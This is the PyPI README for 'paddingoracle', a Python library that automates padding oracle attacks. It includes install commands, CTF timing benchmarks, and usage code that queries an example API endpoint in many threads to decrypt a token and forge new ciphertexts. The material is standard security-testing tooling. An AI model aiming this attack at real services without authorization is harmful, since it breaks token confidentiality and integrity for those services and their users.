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Description:

paddingoracle 0.4.1

Padding Oracle Automation in Python

This script automates padding oracle attacks in Python, offering efficient and threaded execution.
Installation
You can install the script using one of these methods:

Via PyPI:
pip3 install -U padding_oracle

Directly from GitHub:
pip3 install -U git+https://github.com/djosix/padding_oracle.py.git

Performance
The script's performance varies depending on the number of request threads. This was tested in a CTF web challenge:

Request Threads
Time Taken

1
17m 43s

4
5m 23s

16
1m 20s

64
56s

Usage
Decryption
When trying to decrypt a token like the one at https://example.com/api/?token=M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94%3D, this script assumes that the token is vulnerable to a padding oracle attack.
from padding_oracle import decrypt, base64_encode, base64_decode
import requests

sess = requests.Session() # Uses connection pooling
url = 'https://example.com/api/'

def oracle(ciphertext: bytes):
response = sess.get(url, params={'token': base64_encode(ciphertext)})
if 'failed' in response.text:
return False # Token decryption failed
elif 'success' in response.text:
return True
else:
raise RuntimeError('Unexpected behavior')

ciphertext = base64_decode('M9I2K9mZxzRUvyMkFRebeQzrCaMta83eAE72lMxzg94=')
assert len(ciphertext) % 16 == 0

plaintext = decrypt(
ciphertext,
block_size=16,
oracle=oracle,
num_threads=16,
)

Encryption
Below is an example demonstrating how to encrypt arbitrary bytes. For a detailed understanding of the process, please refer to this Pull Request.
from padding_oracle import encrypt

ciphertext = encrypt(
b'YourTextHere',
block_size=16,
oracle=oracle,
num_threads=16,
)

Customized Logging
Both encrypt and decrypt allow user to inject a custom logger:

Disable Logging:
from padding_oracle import nop_logger

plaintext = decrypt(
...
logger=nop_logger,
)

Selective Logging:
def logger(kind: str, message: str):
if kind in ('oracle_error', 'solve_block_error'):
print(f'[{kind}] {message}')

plaintext = decrypt(
...
logger=logger,
)

Extras
The script also includes PHP-like encoding and decoding functions:
from padding_oracle.encoding import urlencode, urldecode, base64_encode, base64_decode

TODO

Support more padding schemes

License
This script is distributed under the MIT license.